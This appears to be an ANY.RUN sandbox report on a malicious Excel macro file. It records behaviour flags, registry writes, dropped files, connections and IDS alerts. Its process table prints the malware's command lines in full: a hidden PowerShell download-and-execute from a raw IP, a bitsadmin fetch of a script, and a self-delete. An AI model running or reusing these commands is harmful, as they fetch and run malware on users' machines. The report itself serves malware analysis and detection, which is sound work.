| File name: | test.xlsm |
| Full analysis: | https://app.any.run/tasks/568f68ba-2817-4e3b-b781-187bf75a4d02 |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | December 14, 2018, 13:42:10 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.openxmlformats-officedocument.spreadsheetml.sheet |
| File info: | Microsoft Excel 2007+ |
| MD5: | 8701BF3F3ECD42F80A54CC611C6567AA |
| SHA1: | F3AB8A9782B30446C817A6EE9C36ED7C5E4FAC57 |
| SHA256: | 00FF39F9E6ED2CCB6B6694A61D3E85A80B7AA4CA07CD6B9BF71537C06662F371 |
| SSDEEP: | 768:TKaPdlcZtH9nz2m2LaXGJgsb19nQFX4aqnRB38jgyo:TpPdeZfnz2m2GXUgw9nQFX2R8jgV |
MALICIOUS
Executes PowerShell scripts
- cmd.exe (PID: 3248)
Executes scripts
- EXCEL.EXE (PID: 3464)
Unusual execution from Microsoft Office
- EXCEL.EXE (PID: 3464)
Uses BITADMIN.EXE for downloading application
- EXCEL.EXE (PID: 3464)
Application was dropped or rewritten from another process
- TempXfA39.exe (PID: 2344)
Changes the autorun value in the registry
- TempXfA39.exe (PID: 2344)
Downloads executable files from IP
- powershell.exe (PID: 2808)
Renames files like Ransomware
- TempXfA39.exe (PID: 2344)
Dropped file may contain instructions of ransomware
- TempXfA39.exe (PID: 2344)
Downloads executable files from the Internet
- powershell.exe (PID: 2808)
Actions looks like stealing of personal data
- TempXfA39.exe (PID: 2344)
Changes settings of System certificates
- WScript.exe (PID: 3636)
SUSPICIOUS
Starts CMD.EXE for commands execution
- WScript.exe (PID: 3636)
- TempXfA39.exe (PID: 2344)
Starts Internet Explorer
- explorer.exe (PID: 3684)
Creates files in the user directory
- explorer.exe (PID: 3728)
- powershell.exe (PID: 2808)
- TempXfA39.exe (PID: 2344)
Executable content was dropped or overwritten
- powershell.exe (PID: 2808)
Writes to a desktop.ini file (may be used to cloak folders)
- TempXfA39.exe (PID: 2344)
Creates files like Ransomware instruction
- TempXfA39.exe (PID: 2344)
Reads the cookies of Mozilla Firefox
- TempXfA39.exe (PID: 2344)
INFO
Changes internet zones settings
- iexplore.exe (PID: 3972)
Reads Microsoft Office registry keys
- EXCEL.EXE (PID: 3464)
Application launched itself
- iexplore.exe (PID: 3972)
Reads Internet Cache Settings
- iexplore.exe (PID: 2524)
Creates files in the user directory
- iexplore.exe (PID: 2524)
- iexplore.exe (PID: 3972)
Reads internet explorer settings
- iexplore.exe (PID: 2524)
Reads settings of System Certificates
- iexplore.exe (PID: 3972)
Changes settings of System certificates
- iexplore.exe (PID: 3972)
Adds / modifies Windows certificates
- iexplore.exe (PID: 3972)
Dropped object may contain TOR URL's
- TempXfA39.exe (PID: 2344)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .xlam | | | Excel Macro-enabled Open XML add-in (42.4) |
|---|---|---|
| .xlsm | | | Excel Microsoft Office Open XML Format document (with Macro) (29.2) |
| .xlsx | | | Excel Microsoft Office Open XML Format document (17.3) |
| .zip | | | Open Packaging Conventions container (8.9) |
| .zip | | | ZIP compressed archive (2) |
EXIF
ZIP
| ZipRequiredVersion: | 20 |
|---|---|
| ZipBitFlag: | 0x0006 |
| ZipCompression: | Deflated |
| ZipModifyDate: | 1980:01:01 00:00:00 |
| ZipCRC: | 0xe69d70d7 |
| ZipCompressedSize: | 413 |
| ZipUncompressedSize: | 1393 |
| ZipFileName: | [Content_Types].xml |
XMP
| Creator: | - |
|---|
XML
| LastModifiedBy: | - |
|---|---|
| CreateDate: | 2006:09:16 00:00:00Z |
| ModifyDate: | 2018:12:14 13:43:58Z |
| Application: | Microsoft Excel |
| DocSecurity: | None |
| ScaleCrop: | No |
| HeadingPairs: |
|
| TitlesOfParts: | Sheet1 |
| Company: | - |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| AppVersion: | 15.03 |
Total processes
46
Monitored processes
11
Malicious processes
4
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2344 | C:\Users\admin\AppData\Local\TempXfA39.Exe | C:\Users\admin\AppData\Local\TempXfA39.exe | cmd.exe | ||||||||||||
User: admin Company: Luxoft Integrity Level: MEDIUM Description: Connect Julian Assembler Setcookie Exit code: 0 Version: 3.3.9.1 Modules
| |||||||||||||||
| 2524 | "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:3972 CREDAT:71937 | C:\Program Files\Internet Explorer\iexplore.exe | iexplore.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Internet Explorer Exit code: 0 Version: 8.00.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2808 | powershell.exe -w hidden -noprofile -executionpolicy bypass $OE = New-Object System.Net.WebClient; $OE.Headers['User-Agent'] = 'jBrowser'; $OE.downloadfile('http://185.219.81.28/forum.php','C:\Users\admin\AppData\Local\TempXfA39.exe'); | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3248 | "C:\Windows\System32\cmd.exe" /c powershell.exe -w hidden -noprofile -executionpolicy bypass $OE = New-Object System.Net.WebClient; $OE.Headers['User-Agent'] = 'jBrowser'; $OE.downloadfile('http://185.219.81.28/forum.php','%teMp%XfA39.exe'); & starT %Temp%XfA39.Exe | C:\Windows\System32\cmd.exe | — | WScript.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 3464 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 3636 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\pepe.js" | C:\Windows\System32\WScript.exe | EXCEL.EXE | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 Modules
| |||||||||||||||
| 3684 | C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding | C:\Windows\explorer.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Explorer Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3728 | explorer.exe https://goo.gl/TXT8Fj | C:\Windows\explorer.exe | — | EXCEL.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Explorer Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3760 | "C:\Windows\system32\cmd.exe" /c del C:\Users\admin\AppData\Local\TempXfA39.exe > nul | C:\Windows\system32\cmd.exe | — | TempXfA39.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 3936 | "C:\Windows\System32\bitsadmin.exe" /transfer myFile /download /priority normal https://uc92c30fb6db8e635e336beac7f8.dl.dropboxusercontent.com/cd/0/get/AXf2UUL398cXaNPYAMrms-k2EuttrwdESU7gebfCX3d6p6OZYRsDgrTR65sxfXOhhIgndC6B--cXz-VuDdaGBNbbZRYKONIrdl2NHKd4yN3Y64F6RZ6Hlmn4xvryJBtUFaR0Tdx0pbWOlz0H_H3U6wushF4sLAeslFqjR4nugt_PeyLNrkKXmjvZVMU1y6EK4Pg/file?_download_id=14056515048951290882209405246146807353511132718637797026014201873&_notify_domain=www.dropbox.com&dl=1.js C:\Users\admin\AppData\Local\Temp\\pepe.js | C:\Windows\System32\bitsadmin.exe | — | EXCEL.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: BITS administration utility Exit code: 0 Version: 7.5.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
1 492
Read events
1 318
Write events
166
Delete events
8
Modification events
| (PID) Process: | (3464) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems |
| Operation: | write | Name: | i1! |
Value: 69312100880D0000010000000000000000000000 | |||
| (PID) Process: | (3464) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (3464) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: On | |||
| (PID) Process: | (3464) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel |
| Operation: | write | Name: | MTTT |
Value: 880D0000B26ECAD9B293D40100000000 | |||
| (PID) Process: | (3464) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems |
| Operation: | delete value | Name: | i1! |
Value: 69312100880D0000010000000000000000000000 | |||
| (PID) Process: | (3464) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems |
| Operation: | delete key | Name: | |
Value: | |||
| (PID) Process: | (3464) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency |
| Operation: | delete key | Name: | |
Value: | |||
| (PID) Process: | (3464) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
| (PID) Process: | (3464) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 1 | |||
| (PID) Process: | (3464) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\13AACB |
| Operation: | write | Name: | 13AACB |
Value: 04000000880D00002B00000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C0074006500730074002E0078006C0073006D00000000002200000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C0001000000000000004045CEDAB293D401CBAA1300CBAA130000000000AC020000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 | |||
Executable files
1
Suspicious files
773
Text files
25
Unknown types
26
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3464 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVRA5C9.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2808 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\LS910EF14E5BB8WEOIK4.temp | — | |
MD5:— | SHA256:— | |||
| 3972 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RB73MZ6Y\favicon[1].ico | — | |
MD5:— | SHA256:— | |||
| 3972 | iexplore.exe | C:\Users\admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico | — | |
MD5:— | SHA256:— | |||
| 2524 | iexplore.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\Low\admin@youtube[2].txt | — | |
MD5:— | SHA256:— | |||
| 2524 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\OCDM6JB6\watch[1].txt | — | |
MD5:— | SHA256:— | |||
| 2524 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\BWPPCY0O\spf[1].js | — | |
MD5:— | SHA256:— | |||
| 2524 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\BWPPCY0O\base[1].js | — | |
MD5:— | SHA256:— | |||
| 2524 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\BWPPCY0O\ServiceLogin[1].htm | — | |
MD5:— | SHA256:— | |||
| 2524 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\OCDM6JB6\watch[1].htm | html | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
21
DNS requests
10
Threats
3
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2808 | powershell.exe | GET | 200 | 185.219.81.28:80 | http://185.219.81.28/forum.php | NL | executable | 332 Kb | suspicious |
3636 | WScript.exe | GET | 200 | 91.199.212.52:80 | http://crt.comodoca.com/COMODORSAAddTrustCA.crt | GB | der | 1.37 Kb | whitelisted |
3972 | iexplore.exe | GET | 200 | 204.79.197.200:80 | http://www.bing.com/favicon.ico | US | image | 237 b | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
— | — | 162.125.66.6:443 | uc92c30fb6db8e635e336beac7f8.dl.dropboxusercontent.com | Dropbox, Inc. | DE | shared |
3636 | WScript.exe | 91.199.212.52:80 | crt.comodoca.com | Comodo CA Ltd | GB | suspicious |
2524 | iexplore.exe | 216.58.215.237:443 | accounts.google.com | Google Inc. | US | whitelisted |
3972 | iexplore.exe | 172.217.168.14:443 | www.youtube.com | Google Inc. | US | whitelisted |
2524 | iexplore.exe | 172.217.168.54:443 | i.ytimg.com | Google Inc. | US | whitelisted |
2524 | iexplore.exe | 172.217.168.3:443 | fonts.gstatic.com | Google Inc. | US | whitelisted |
2524 | iexplore.exe | 173.194.160.71:443 | r2---sn-1gi7znes.googlevideo.com | Google Inc. | US | whitelisted |
3972 | iexplore.exe | 204.79.197.200:80 | www.bing.com | Microsoft Corporation | US | whitelisted |
2808 | powershell.exe | 185.219.81.28:80 | — | NovoServe B.V. | NL | suspicious |
2524 | iexplore.exe | 172.217.168.46:443 | goo.gl | Google Inc. | US | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
uc92c30fb6db8e635e336beac7f8.dl.dropboxusercontent.com |
| malicious |
crt.comodoca.com |
| whitelisted |
www.bing.com |
| whitelisted |
goo.gl |
| shared |
www.youtube.com |
| whitelisted |
s.ytimg.com |
| whitelisted |
fonts.gstatic.com |
| whitelisted |
r2---sn-1gi7znes.googlevideo.com |
| whitelisted |
accounts.google.com |
| shared |
i.ytimg.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2808 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
2808 | powershell.exe | Potentially Bad Traffic | ET INFO SUSPICIOUS Dotted Quad Host MZ Response |
2808 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |